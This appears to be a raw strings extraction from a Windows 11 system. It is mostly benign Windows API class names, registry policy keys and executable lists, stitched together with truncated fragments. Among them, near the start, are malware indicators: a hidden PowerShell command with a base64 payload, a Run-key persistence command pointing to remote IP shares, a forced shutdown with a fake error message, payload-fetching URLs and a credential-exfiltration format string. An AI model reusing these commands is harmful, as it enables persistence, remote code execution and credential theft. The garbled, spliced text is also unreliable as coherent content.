Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
+&WindowsApplication1.Afrikaans
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dll,
temRoot%\system32\mswsock.dl
account.activedirectory.windowsazure.com
account.activedirectory.windowsazure.com
indir=C:\WINDOWS
WindowsDefaultLockScreen
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
Windows.Defender.SecurityCenter
46^windows.backgroundTasks
 HTTP/1.1C:\WINDOWS\cc.exe
echo olha > C:\TEMP\blolorshutdown -r -f -t 10 -c "Erro Interno do WindowsM
Optimizationercmd.exe /c ren \System32\ha
mAS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
Microsoft.Windows.Security.BitLocker.CSP.State.Update
Microsoft.Windows.Security.BitLocker.EncryptionDelay
Microsoft.Windows.Security.BitLocker.BcdUpdate
\software\microsoft\windows\currentversion\rundriver.exe
c:\windows\system32\ossmtp.dllc
http://idreamkid.com/cgi-bin/technote/board/shopkeeper2/member/k1.gifc:\windows\system\comands2.exehttp://idreamkid.com/cgi-bin/technote/board/shopkeeper2/member/k2.gif
c:\windows\system32\
bpowershell.exe-windowstylehidden-command"[system.text.encoding]::unicode.getstring([system.convert]::frombase64string('sqbuahyabwbragualqbxaguaygbsaguacqb1aguacwb0acaalqbvahiaaqagaciaaab0ahqacabzadoalwavagqaaqbzagsaywbpahqaeqbsagkabgbrac4aywbvag0alwa1agmatqa1agmazabjac8abqbhagwazabpahyazqbzac4azqb4aguaigagac0atwb1ahqargbpagwazqagaciajablag4adga6afqarqbnafaaxabmahuabqbtageaxwa0ad
suser=%s&spass=%s&serial=%s&sernum=%s&level=%d&money=%d&line=%sc:\windows\system32\
?uc:\windows\system32epl
software\microsoft\windows\currentversion\run
 @Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Group>
$@ItemReference<Windows.Data.CuratedTileCollection.TileCollection>
 @Windows.Data.Platform.ItemReference<Windows.Data.PlaceholderTileLogo>
 @Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Root>
 @Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Tile>
>reg.exeadd"hkey_current_user\software\microsoft\windows\currentversion\run"/v"microsoftofficeword"/treg_sz/d"\\94.156.8.166\microsoftofficeword$\winword.exe"/f&start""msg*.&start""xcopy"\\79.132.128.47\image.jpg
9P9CZK15QN0XHunt: Showdown 1896 (Windows)https://store-images.s-microsoft.com/image/apps.31781.14140593189327563.fd30b7d2-921f-4db8-a685-5bf1575d36e8.ecb36065-e499-4c97-9e2a-1eb8e9312fa8en
9P9CZK15QN0XHunt: Showdown 1896 (Windows)https://store-images.s-microsoft.com/image/apps.31781.14140593189327563.fd30b7d2-921f-4db8-a685-5bf1575d36e8.ecb36065-e499-4c97-9e2a-1eb8e9312fa8fr
^windows.protoco(
^windows.protoco(
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{D157330A-9EF3-49F8-9A67-4141AC41ADD4}SOFTWARE\Microsoft\Internet Explorer\Extensions\{5C3853CF-C7E0-4946-B3FA-1ABDB6F48108}a
|Windows7
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
MicrosoftWindows.CrossDevice_cw5n1h2txyewyS-1-5-21-3914889805-4071901059-918772286-1001-In-Block
MicrosoftWindows.CrossDevice_cw5n1h2txyewyS-1-5-21-3914889805-4071901059-918772286-1001-Out-Block?
WINDOWS11
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
SqmIsWindowsOptedIn
@FILECOPY ( @SCRIPTFULLPATH , @APPDATADIR & "/Windows Photo Viewer.exe" , $FC_OVERWRITE +
im.mingle2.com/1.2.make_knock_onlyMTQzMjQ0MTU6OjoOcrsGLoM=Njc4NTUxODQ6OjppSkotPzvK3w6LAmIN1A==setJavaScriptCanOpenWindows<
I--database=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
	WINDOWS\system32\cmd.exe+
CheckWindowsF
stem32%\colorcpl.exe;%system32%\customshellhost.exe;%system32%\dccw.exe;%system32%\deviceenroller.exe;%system32%\dmomacpmo.exe;%system32%\dsregcmd.exe;%system32%\efsui.exe;%system32%\gpupdate.exe;%system32%\mdmappinstaller.exe;%system32%\mdmdiagnosticstool.exe;%system32%\microsoftedgebchost.exe;%system32%\microsoftedgecp.exe;%system32%\microsoftedgesh.exe;%system32%\mrt.exe;%system32%\msra.exe;%system32%\musnotification.exe;%system32%\musnotificationux.exe;%system32%\netsh.exe;%system32%\omadmclient.exe;%system32%\proquota.exe;%system32%\rekeywiz.exe;%system32%\runexehelper.exe;%system32%\securityhealthservice.exe;%system32%\settingsynchost.exe;%system32%\systemsettingsadminflows.exe;%system32%\tttracer.exe;%system32%\utcdecoderhost.exe;%system32%\vaultcmd.exe;%system32%\workfolders.exe;%system32%\wpcmon.exe
%system32%\bytecodegenerator.exe;%system32%\ie4uinit.exe;%system32%\ldifde.exe;%system32%\presentationhost.exe;%system32%\write.exe
%system32%\musnotification.exe;%system32%\musnotificationux.exe;%system32%\musnotifyicon.exe
%system32%\mousocoreworker.exe;%system32%\musnotification.exe;%system32%\musnotificationux.exe;%system32%\usoclient.exe;%system32%\usocoreworker.exe
%system32%\recoverydrive.exe
%system32%\deviceenroller.exe;%system32%\dmcertinst.exe;%system32%\iesettingsync.exe;%system32%\mousocoreworker.exe;%system32%\netevtfwdr.exe;%system32%\omadmclient.exe;%system32%\settingsynchost.exe;%system32%\usocoreworker.exe;%system32%\wifitask.exe;%system32%\runtimebroker.exe
%system32%\wordpad.exe
%system32%\psr.exe
%system32%\gamepanel.exe;%system32%\magnify.exe
%system32%\cloudnotifications.exe;%system32%\gamepanel.exe
%system32%\calc.exe
%system32%\dataexchangehost.exe;%system32%\rasphone.exe;%system32%\rdpclip.exe;%programfiles%\microsoft\edge\application\msedge.exe;%programfiles%\microsoft office\root\office%version%\excel.exe;%programfiles%\microsoft office\root\office%version%\powerpnt.exe;%programfiles%\microsoft office\root\office%version%\winword.exe;%programfiles%\microsoft office\root\office%version%\msaccess.exe;preconditions%programfiles%\microsoft office\root\office%version%\mspub.exe
%system32%\compmgmtlauncher.exe
%system32%\tttracer.exe
%system32%\wkspbroker.exe
%system32%\searchfilterhost.exe;%system32%\searchprotocolhost.exe
%system32%\tpmtool.exe
%system32%\systemsettingsadminflows.exe
%programfiles%\windows kits\10\debuggers\x64\logger.exe;%programfiles%\windows kits\10\debuggers\x64\logviewer.exe
%system32%\plasrv.exe
%system32%\bootim.exe;%system32%\mdmdiagnosticstool.exe;%system32%\resetengine.exe;%system32%\sgrmbroker.exe;%system32%\systemreset.exe;%system32%\tpmtool.exe
%system32%\dialer.exe;%system32%\fxssvc.exe;%system32%\tcmsetup.exe
%system32%\defrag.exe;%system32%\dfrgui.exe
%programfiles%\windows photo viewer\imagingdevices.exe
%system32%\applytrustoffline.exe;%system32%\lpremove.exe;%system32%\systemsettingsadminflows.exe
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows
windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
\Microsoft\Windows\Start Menu\Programs\,
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Optionh
WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS=--disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --edge-webview-foreground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)"  --enable-features=msEdgeFluentOverlayScrollbar
CloudData.WindowsClient.CloudDataAvailableWnf
CloudData.WindowsClient.CloudDataAvailableWnf
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
ComSpec=C:\WINDOWS\system32\cmd.exe
TEMP=C:\WINDOWS\TEMP
COMPUTERNAME=WINDOWS11
SystemRoot=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
windir=C:\WINDOWS
Windows.Data.UnifiedTile.Roam
WindowsUdk.ComposableShell.TopLevelViewContentChangingEventArgs
WindowsUdk.ComposableShell.TopLevelViewGainedControlEventArgs
WindowsUdk.ComposableShell.TopLevelViewNavigateAwayEventArgs
WindowsUdk.ComposableShell.TopLevelViewRequestProjectionContextEventArgs
WindowsUdk.ComposableShell.TopLevelViewRestoreProjectionAnchorViewEventArgs
WindowsUdk.ComposableShell.TopLevelViewShowAsProjectionViewEventArgs
WindowsUdk.ComposableShell.TopLevelViewShowAsStandaloneEventArgs
WindowsUdk.ComposableShell.TopLevelViewSwitchEventArgs
WindowsUdk.ComposableShell.ValidatePresentationRequestEventArgs
WindowsUdk.ComposableShell.ViewRelativePositionOption
WindowsUdk.ComposableShell.ViewSizePreferencesChangedEventArgs
WindowsUdk.ComposableShell.VisibilityPresentationOption
WindowsUdk.ComposableShell.WindowingEnvironmentPresentationOption
WindowsUdk.ComposableShell.WindowOrderChangedEventArgs
WindowsUdk.Data.Text.NextCharacterPredictionGenerator
WindowsUdk.Data.Text.TextSuggestionCandidate
WindowsUdk.Data.Text.TextSuggestionGenerator
WindowsUdk.Foundation.Metadata.ApiInformation
WindowsUdk.Gaming.UI.GameEntry
WindowsUdk.Gaming.UI.GameMru
WindowsUdk.Graphics.Capture.DisplayCapture
WindowsUdk.Health.TestInProduction.DynamicTipTest
WindowsUdk.Health.TestInProduction.TestInProductionManager
WindowsUdk.Management.Deployment.PackageManager
WindowsUdk.Management.Update.ExperimentalFeaturesManager
WindowsUdk.Management.Update.FeatureMetadataManager
WindowsUdk.Management.Update.FeatureStagingManager
WindowsUdk.Management.Update.PreviewBuildsManager
WindowsUdk.Media.Devices.VirtualAudioPnpInfo
WindowsUdk.Media.Devices.VirtualMicrophoneDevice
WindowsUdk.Media.Playback.SystemVolumeManager
WindowsUdk.Media.SpeechRecognition.CloudSpeechSettings
WindowsUdk.Media.SpeechRecognition.MixedRealitySpeechSettings
WindowsUdk.Security.Authentication.Web.AadLoginContext
WindowsUdk.Security.Authentication.Web.Core.WebAuthenticationCoreManager
WindowsUdk.Security.Authentication.Web.Core.WebExperienceAuthenticationManager
WindowsUdk.Security.Authentication.Web.IdentityProtocolAttributes
WindowsUdk.Security.Authentication.Web.Provider.WebAccountManager
WindowsUdk.Security.Authentication.Web.WebHostPolicy
WindowsUdk.Security.Authorization.AppCapabilityAccess.CapabilityUsageInfo
WindowsUdk.Security.Authorization.Capabilities.CapabilityChecker
WindowsUdk.Security.Authorization.SecurityDescriptorManager
WindowsUdk.Security.Credentials.UI.CredUICoordinator
WindowsUdk.Security.Credentials.UI.HelloEnrollmentManager
WindowsUdk.Security.Credentials.WebAccount
WindowsUdk.Security.Isolation.HyperVSocketServiceConfiguration
WindowsUdk.Security.Isolation.ManagedWindowsVM
WindowsUdk.Security.Isolation.VMCreateProcessOptions
WindowsUdk.Security.Isolation.VMOptions
WindowsUdk.Security.Isolation.VMShareFolderOptions
WindowsUdk.Services.Accounts.AccountSubscriptions
WindowsUdk.Services.Experiences.ExperiencePackGetOptions
WindowsUdk.Services.Experiences.ExperiencePackManager
WindowsUdk.Services.Experiences.ExperiencePackProvider
WindowsUdk.Services.Iris.IdentityProvider
WindowsUdk.Services.Iris.IrisAssetCacheAccess
WindowsUdk.Services.Iris.IrisCreative
WindowsUdk.Services.Iris.IrisCreativeError
WindowsUdk.Services.Iris.IrisCreativeResults
WindowsUdk.Services.Iris.IrisService
WindowsUdk.Services.OneSettings.OneSettingsManager
WindowsUdk.Services.Sustainability.PowerGridIntensityData
WindowsUdk.Services.TargetedContent.TargetedContentPolicy
WindowsUdk.Services.UnifiedConsent.WindowsAccountSyncConsentCoordinator
WindowsUdk.Services.UnifiedConsent.WindowsAccountSyncConsentLauncher
WindowsUdk.Services.UnifiedConsent.WindowsAccountSyncConsentState
WindowsUdk.Storage.CloudRestore
WindowsUdk.Storage.CloudStore
WindowsUdk.Storage.CloudStoreData
WindowsUdk.Storage.DestinationList.AutomaticDestinationListItemInfo
WindowsUdk.Storage.DestinationList.AutomaticDestinationListLoadOptions
WindowsUdk.Storage.DestinationList.AutomaticDestinationListStorage
WindowsUdk.Storage.DestinationList.AutomaticDestinationListUdkFactory
WindowsUdk.Storage.Provider.MicrosoftGraphRecentItemInfo
WindowsUdk.Storage.Provider.MicrosoftGraphRecentItemKnownPropertyNames
WindowsUdk.Storage.Provider.MicrosoftGraphRecentItemsManagerRequestResult
WindowsUdk.Storage.Provider.StorageProviderKnownFolderSyncInfo
WindowsUdk.Storage.Provider.StorageProviderSyncRootManager
WindowsUdk.Storage.StorageFileProvider
WindowsUdk.Storage.StorageItem
WindowsUdk.System.Activation
WindowsUdk.System.KnownActivationProperties
WindowsUdk.System.Launcher
WindowsUdk.System.LauncherOptions
WindowsUdk.System.Profile.HardwareRequirements
WindowsUdk.System.Profile.IntegratedServicesGeographicRegionPolicies
WindowsUdk.System.Profile.StagedFeature
WindowsUdk.System.Profile.StagedFeatureError
WindowsUdk.System.Profile.StagedFeatureTraits
WindowsUdk.System.Profile.SystemSetting
WindowsUdk.System.Profile.SystemSettingEntryPoint
WindowsUdk.System.Profile.SystemSettingEntryPointCatalog
WindowsUdk.System.Profile.SystemSetupInfo
WindowsUdk.System.Profile.SystemSetupManager
WindowsUdk.System.ShutdownManager
WindowsUdk.System.ShutdownMenuCommand
WindowsUdk.System.Update.ImageUpdater
WindowsUdk.System.Update.IntelligenceScenarioRegistrationManager
WindowsUdk.System.Update.ReserveManager
WindowsUdk.System.User
WindowsUdk.System.UserProfile.AccountSwitcherAction
WindowsUdk.System.UserProfile.AccountSwitcherUser
WindowsUdk.System.UserProfile.BrowserEngagementManager
WindowsUdk.System.UserProfile.EngagementManager
WindowsUdk.System.UserProfile.IntendedSystemUse
WindowsUdk.System.UserProfile.IntendedSystemUseManager
WindowsUdk.System.UserProfile.MicrosoftAccountEngagementCoordinator
WindowsUdk.System.UserProfile.MicrosoftAccountFamilyManager
WindowsUdk.System.UserProfile.OemConfigurationManager
WindowsUdk.System.UserProfile.OfficeEnrollManager
WindowsUdk.System.UserProfile.OneDriveEngagementManager
WindowsUdk.System.UserProfile.OneDriveEnrollManager
WindowsUdk.System.UserProfile.OneDriveKnownFolderManager
WindowsUdk.System.UserProfile.OutOfBoxZeroDayPackage
WindowsUdk.System.UserProfile.SearchSettings.SearchPolicySettings
WindowsUdk.System.UserProfile.UserInformation
WindowsUdk.System.UserProfile.UserOnboardingManager
WindowsUdk.System.UserProfile.UserProfilePersonalizationSettings
WindowsUdk.System.UserProfile.UserSetupEligibilityDataHelper
WindowsUdk.System.UserProfile.UserSetupLogonManager
WindowsUdk.System.UserProfile.UserSetupManager
WindowsUdk.System.UserProfile.WindowsUpdateEngagementManager
WindowsUdk.UI.Accessibility.EaseOfAccess
WindowsUdk.UI.AutomationPeer.AutomationPeerHelper
WindowsUdk.UI.BitmapIconInfo
WindowsUdk.UI.Composition.AnimationLastFrameTelemetry
WindowsUdk.UI.Composition.CompositionAnimation
WindowsUdk.UI.Composition.CompositionAnimationTriggerPartner
WindowsUdk.UI.Composition.CompositionAnimationTriggerPartnerFiredEventArgs
WindowsUdk.UI.Composition.CompositionAnimationTriggerValuePartner
WindowsUdk.UI.Input.Text.InputFontInfo
WindowsUdk.UI.Input.Text.InputMethodConversionIndicator
WindowsUdk.UI.Input.Text.InputProfileIndicator
WindowsUdk.UI.Input.Text.IsVersion3OverrideActiveChangedEventArgs
WindowsUdk.UI.Input.Text.KeyboardKeyCandidate
WindowsUdk.UI.Input.Text.KeyboardLayoutSwitcher
WindowsUdk.UI.Input.Text.KeyCombinations
WindowsUdk.UI.Core.CoreWindow
WindowsUdk.UI.FontIconInfo
WindowsUdk.UI.Input.ActivationConfigurationInputObject
WindowsUdk.UI.Input.Dictation.DictationManager
WindowsUdk.UI.Input.Inking.Analysis.InkAnalysisHint
WindowsUdk.UI.Input.Inking.Analysis.InkAnalysisLine
WindowsUdk.UI.Input.Inking.Analysis.InkAnalysisNode
WindowsUdk.UI.Input.Inking.Analysis.InkAnalyzer
WindowsUdk.UI.Input.Inking.InkPresenter
WindowsUdk.UI.Input.Inking.PalmRejectionDelayZonePreview
WindowsUdk.UI.Composition.Compositor
WindowsUdk.UI.Input.InputAnimationTarget
WindowsUdk.UI.Input.InputGestureManager
WindowsUdk.UI.Input.InputGestureOperation
WindowsUdk.UI.Input.InputGestureOperationEventArgs
WindowsUdk.UI.Input.SystemButtonEventController
WindowsUdk.UI.Input.SystemKeyboardDeliveryInterceptor
WindowsUdk.UI.Input.Text.ActionCandidateSelectedEventArgs
WindowsUdk.UI.Input.Text.DictatedTextInputSession
WindowsUdk.UI.Input.Text.InjectedInputKeyboardInfo
WindowsUdk.UI.Input.Text.KnownInputProcessorIds
WindowsUdk.UI.Input.Text.SpeechActionCandidate
WindowsUdk.UI.Input.Text.SpeechCorrectionCandidateWindowClient
WindowsUdk.UI.Input.Text.TextInputCapture
WindowsUdk.UI.Input.Text.TextInputInjector
WindowsUdk.UI.Input.Text.TextInputKeyFilter
WindowsUdk.UI.Input.Text.TextInputListener
WindowsUdk.UI.Input.Text.TextInputProfileManager
WindowsUdk.UI.Input.Text.TextInputSession
WindowsUdk.UI.Input.Text.TextInputSettings
WindowsUdk.UI.Input.Text.TextServicesSettings
WindowsUdk.UI.MenuItem
WindowsUdk.UI.MenuItemGetOptions
WindowsUdk.UI.Networking.AdapterProperties
WindowsUdk.UI.Networking.AdapterStatistics
WindowsUdk.UI.Networking.AvailableNetwork
WindowsUdk.UI.Networking.DnsServer
WindowsUdk.UI.Networking.EapGenericIdentityUIPrompt
WindowsUdk.UI.Networking.EapPasswordChangeUIPrompt
WindowsUdk.UI.Networking.EapTlsCertificatePasswordUIPrompt
WindowsUdk.UI.Networking.EapTlsCertificatePinCredentialUIPrompt
WindowsUdk.UI.Networking.EapTlsCertificateSelectUIPrompt
WindowsUdk.UI.Networking.EapUserIdentityUIPrompt
WindowsUdk.UI.Networking.EapValidateServerCertificateUIPrompt
WindowsUdk.UI.Networking.EthernetAuthenticationConfiguration
WindowsUdk.UI.Networking.EthernetEapMethod
WindowsUdk.UI.Networking.EthernetNetworkUIElement
WindowsUdk.UI.Networking.HotspotAdditionalMetadata
WindowsUdk.UI.Networking.NetworkAdapter
WindowsUdk.UI.Networking.NetworkUICertificateInfo
WindowsUdk.UI.Networking.NetworkUICompletedPrompt
WindowsUdk.UI.Networking.NetworkUIElementAvailableNetworkChangedEventArgs
WindowsUdk.UI.Networking.NetworkUIElementPromptRequestedEventArgs
WindowsUdk.UI.Networking.NetworkUIManager
WindowsUdk.UI.Networking.NetworkUIManagerAirplaneModeChangedEventArgs
WindowsUdk.UI.Networking.NetworkUIManagerUIChangedEventArgs
WindowsUdk.UI.Networking.NetworkUIProgressPrompt
WindowsUdk.UI.Networking.NetworkUIVpnCustomInputItem
WindowsUdk.UI.Networking.ProvisioningAgentHelper
WindowsUdk.UI.Networking.RasCompletionUIPrompt
WindowsUdk.UI.Networking.RasCredentialUIPrompt
WindowsUdk.UI.Networking.RasCustomUIPrompt
WindowsUdk.UI.Networking.RasNetworkUIElement
WindowsUdk.UI.Networking.RasPasswordChangeUIPrompt
WindowsUdk.UI.Networking.RasProgressUIPrompt
WindowsUdk.UI.Networking.RasVendorCustomAuthenticationUIPrompt
WindowsUdk.UI.Networking.StaticIpConfiguration
WindowsUdk.UI.Networking.WiFiAdapterProperties
WindowsUdk.UI.Networking.WiFiAvailableNetwork
WindowsUdk.UI.Networking.WiFiEapMethod
WindowsUdk.UI.Networking.WiFiNetworkUICertificateSelectionPrompt
WindowsUdk.UI.Networking.WiFiNetworkUIElement
WindowsUdk.UI.Networking.WiFiNetworkUIPasskeyPrompt
WindowsUdk.UI.Networking.WiFiNetworkUIProxyAuthenticationPrompt
WindowsUdk.UI.Networking.WiFiNetworkUISsidPrompt
WindowsUdk.UI.Networking.WiFiNetworkUIWcnComboPrompt
WindowsUdk.UI.Networking.WiFiNetworkUIWcnPinPrompt
WindowsUdk.UI.Networking.WiFiProfile
WindowsUdk.UI.Networking.WifiProfileInfo
WindowsUdk.UI.Networking.WiFiSettings
WindowsUdk.UI.Notifications.NotificationsSettings
WindowsUdk.UI.Notifications.Toasts.GlobalToastNotificationSettings
WindowsUdk.UI.Notifications.Toasts.QuietHoursManager
WindowsUdk.UI.Notifications.Toasts.ToastNotificationSettings
WindowsUdk.UI.Notifications.Toasts.ToastNotificationWatcher
WindowsUdk.UI.Shell.AppBarBehaviors
WindowsUdk.UI.Shell.Dashboard.DashboardSettings
WindowsUdk.UI.Shell.DismissShellViewOptions
WindowsUdk.UI.Shell.DisplayMonitorInfoCollection
WindowsUdk.UI.Shell.DisplayMonitorInfoCollectionServer
WindowsUdk.UI.Shell.FileExplorerGlobalSettings
WindowsUdk.UI.Shell.MaximumSnappedWindowsPolicy
WindowsUdk.UI.Shell.MonitorConfigurationStore
WindowsUdk.UI.Shell.NetworkIcon
WindowsUdk.UI.Shell.NotificationAreaIcon
WindowsUdk.UI.Shell.PenMenuSettings
WindowsUdk.UI.Shell.SearchAppActivatedEventArgs
WindowsUdk.UI.Shell.SearchBoxPlaceholder
WindowsUdk.UI.Shell.ShellViewAnimationProperties
WindowsUdk.UI.Shell.ShellViewCoordinator
WindowsUdk.UI.Shell.ShellViewGestureAnimationPropertySet
WindowsUdk.UI.Shell.ShellViewGestureReportedArgs
WindowsUdk.UI.Shell.ShowShellViewOptions
WindowsUdk.UI.Shell.SnapInternal.SnapEventFactory
WindowsUdk.UI.Shell.SnapLayoutManager
WindowsUdk.UI.Shell.SuggestedActionCollection
WindowsUdk.UI.Shell.SuggestedWindowPosition
WindowsUdk.UI.Shell.SystemDialogOperation
WindowsUdk.UI.Shell.Taskbar.SecondaryTilesForWebSites
WindowsUdk.UI.Shell.TaskbarIconConfiguration
WindowsUdk.UI.Shell.TaskbarLayout
WindowsUdk.UI.Shell.TaskbarManager
WindowsUdk.UI.Shell.TaskbarModel
WindowsUdk.UI.Shell.TaskbarUdkFactory
WindowsUdk.UI.Shell.ViewCoordinator
WindowsUdk.UI.Shell.WebSearchProvider
WindowsUdk.UI.Shell.WindowGroupSuggestion
WindowsUdk.UI.Shell.WindowsCopilot
WindowsUdk.UI.Shell.WindowTab
WindowsUdk.UI.Shell.WindowTabGroup
WindowsUdk.UI.Shell.WindowTabIcon
WindowsUdk.UI.Shell.WindowTabManager
WindowsUdk.UI.Shell.WindowThumbnail
WindowsUdk.UI.Shell.WindowThumbnailGenerator
WindowsUdk.UI.StartScreen.BadgeProvider
WindowsUdk.UI.StartScreen.Implementation.DockedStartController
WindowsUdk.UI.StartScreen.Implementation.StartMenuSettings
WindowsUdk.UI.StartScreen.Implementation.StartMenuTargetedContent
WindowsUdk.UI.StartScreen.JumpList
WindowsUdk.UI.StartScreen.JumpListGetOptions
WindowsUdk.UI.StartScreen.LogoLoader
WindowsUdk.UI.StartScreen.LogoLoadOptions
WindowsUdk.UI.StartScreen.MixedRealityProperties
WindowsUdk.UI.StartScreen.RecentFilesListener
WindowsUdk.UI.StartScreen.SecondaryTilesForWebSites
WindowsUdk.UI.StartScreen.TileCollection
WindowsUdk.UI.StartScreen.TileCollectionCreateOptions
WindowsUdk.UI.StartScreen.TileId
WindowsUdk.UI.Themes.AppVisualTheme
WindowsUdk.UI.Themes.SystemVisualFlowDirection
WindowsUdk.UI.Themes.SystemVisualTheme
WindowsUdk.UI.ViewManagement.AccessibilitySettings
WindowsUdk.UI.ViewManagement.UISettings
WindowsUdk.UI.Xaml.Controls.WebView
WindowsUdk.UI.Xaml.Input.AccessKeyManager
WindowsUdkInternal.PlatformExtensions.FileAssociations.UdkDynamicProgIdPlatformExtension
WindowsUdkInternal.System.ActivationService
WindowsUdkInternal.System.Profile.SettingsSearchDataParser
WindowsUdkInternal.System.UserProfile.SearchPolicySettingsPermissionsManager
WindowsUdkInternal.UI.StartScreen.TileIdInternal
WindowsUpdate.Internal.AppOffloadSettings
WindowsUpdate.Internal.InstallControl
C:\Windows\apppatch\MergeSdbFilesSource\msiMerge.sdb
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.Cortana_cw5n1h2txyewy
WINDOWS HELP
Winlogon
Windows
DragFullWindows
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscordacwks.dll
C:\Windows\system32\mrt100.dllwo
wnC:\Windows\Logs\CBS\*NET
7\C:\Windows\imageupdate\FeatureManifest\OEM\*.xml
C:\Windows\imageupdate\FeatureManifest\Microsoft\*.xmld
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll\v4.x
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll
C:\Windows\imageupdate\*
C:\Windows\system32\Chakra.dllll
C:\Windows\system32\jscript9.dll
msft:spp/windowsfunctionality/agent/7.0
WindowsComponents
Windows.Internal.Security.Authentication.Aad.AadWamExtension
Windows.Internal.Security.Authentication.OnlineId.MicrosoftAccountWAMExtension
Windows.Internal.Security.Authentication.XboxLive.XboxLiveTokenBrokerExtension
Windows
Microsoft-Windows-Shell-Setup
WindowsFeatures
Microsoft-Windows-UnattendedJoin
Windows Error Reporting
MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Setup/RecoveryConsole/SecurityLevel
MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Setup/RecoveryConsole/SetCommand
MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Winlogon/AllocateCDRoms
MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Winlogon/AllocateDASD
MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Winlogon/AllocateFloppies
MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Winlogon/CachedLogonsCount
MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Winlogon/ForceUnlockLogon
MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Winlogon/PasswordExpiryWarning
MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Winlogon/ScRemoveOption
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/ConsentPromptBehaviorAdmin
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/ConsentPromptBehaviorUser
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/DisableCAD
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/DontDisplayLastUserName
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/DontDisplayLockedUserId
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/DontDisplayUserName
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/EnableInstallerDetection
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/EnableLUA
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/EnableSecureUIAPaths
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/EnableUIADesktopToggle
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/EnableVirtualization
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/FilterAdministratorToken
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/InactivityTimeoutSecs
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/Kerberos/Parameters/SupportedEncryptionTypes
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/LegalNoticeCaption
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/LegalNoticeText
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/MaxDevicePasswordFailedAttempts
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/NoConnectedUser
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/PromptOnSecureDesktop
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/ScForceOption
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/ShutdownWithoutLogon
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/UndockWithoutLogon
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/ValidateAdminCodeSignatures
